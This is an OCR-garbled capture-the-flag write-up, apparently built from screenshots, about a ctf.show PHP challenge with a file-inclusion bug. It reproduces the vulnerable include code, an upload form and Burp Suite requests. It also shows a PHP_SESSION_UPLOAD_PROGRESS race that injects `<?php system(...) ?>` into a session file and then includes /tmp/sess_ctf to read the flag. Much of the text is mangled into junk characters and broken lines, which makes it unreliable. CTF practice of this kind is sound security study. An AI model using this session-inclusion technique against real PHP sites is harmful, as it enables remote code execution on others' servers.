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<?php
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-*- coding: utf-8 -*-

# @Author: hlxa

@Date: 2020-09-16 11:25:09

# @Last Modified by: hlxa

# @Last Modified time: 2020-09-16 19:34:45
# @email: hlxa@ctfer.com

# @link: https://ctfexr.com

H

if(isset($_GET['file'])){
$file $ GET['file'];
$file = str_replace("php", "??2?", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "?2?2?", $file);
include($file);

}else{
highlight_file(__FILE__);

}
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<IDOCTYPE html>

<form action="https://fdd731f2-8694-45ab-abc8-870b3a15af69.
challenge.ctf.show/" method="POST" enctype="multipart/form-
data">

Choose File |No file chosen

submit



https://fdd731f2-8694-45ab-abc8-870b3a15af69.challenge.ctf.show/

<?php
session_start();
>
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 Choose File |No file chosen submit
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c ® File /mnt/win-files/CTF/\WEB/Scripts/exp.html
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B#R: | https://fdd731f2-8694-45ab-abi | |« FE#iHostR L ELE EFR

1 POST / HTTP/1.1

2 Host:
fdd731f2-869U-U45ab-abc8-870b3al5af69.challe
nge.ctf.show
Cookie: PHPSESSID=ctf
Content-Length: 365
Cache-Control: max—-age=0

Sec-Ch-Ua: "Chromium";v="127",
"Not)A;Brand";v="99"
Sec—Ch-Ua-Mobile: 70
Sec-Ch-Ua-Platform: "Linux"

9 Accept-Language: en-US

16 Upgrade-Insecure-Requests: 1

11 Origin: null

12 Content-Type: multipart/form-data;
boundary=———-WebKitFormBoundaryHE8wzHRaGbpJ
h6Vm
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(3) payloadti &

EdBpayloadiZALLE, TILLEME|BEFRUEERERS,
EfF:  https//fdd731f2-8694-45ab-abi | v FEEiHostiRLELE EXR

1 POST / HTTP/1.1

2 Host:
fdd731f2-869U4-U5ab-abc8-870b3al5af69.challe
nge.ctf.show

32 Cookie: PHPSESSID=ctf

4 Content-Length: 365

5 Cache-Control: max—-age=0

6 Sec—Ch-Ua: "Chromium";v="127",
"NotJA;:Brand";
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Null payloads
F &t frobber(Character frobber)
BitE4=(Bit flipper)
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(?) Payloads®
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Payloads®! :  Null payloads

(2) Payload settings [Null payloads]
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() Payloadt &
flEpayloadiE AGLE, T)ALLAMNEZI BFRLLE BAER S,
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E¥R:  https://91a504f3-047b-4b7f-b8: | |« E#iHostiRL &L BfF pay
;B MpayloadfiiE §

1 GET /?file=/tmp/sess_ctf| HTTP/1.1

2 Host:
91a504f3-047b-Ub7f-b8Ub-96a6ffd3f005.challe
nge.ctf.show

3 Sec-Ch-Ua: "Chromium";v="127",
"Not)A;Brand";v="99"
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upload_progress_+10g.php
index.php

1.4 AL EARH PHP_SESSION_UPLOAD_PROGRESS
payload, #ZEfI0g.php A




17 Sec-Fetch-User: 7?1

18 Sec—-Fetch-Dest: document

19 Accept-Enceding: gzip, deflate, br
28 Priority: u=0, 1

21 Connection: keep-alive

WebKitFormBoundary8asS1SamCeGOhjdp

24 Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"

25

26 <?php system('tac flOg.php|'); ?>
WebKitFormBoundary8asS1SamCeGBhjdp

28 Content-Disposition: form-data; name="file"; filename="1.txt"

29 Content-Type: text/plain
(?) {o
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flag

ontent-Leng
3

1 lupload_progress_$flag="ctfshow{2U08886a-9002-Ua9a—8fa5-e2ecldldacOd8}";
5




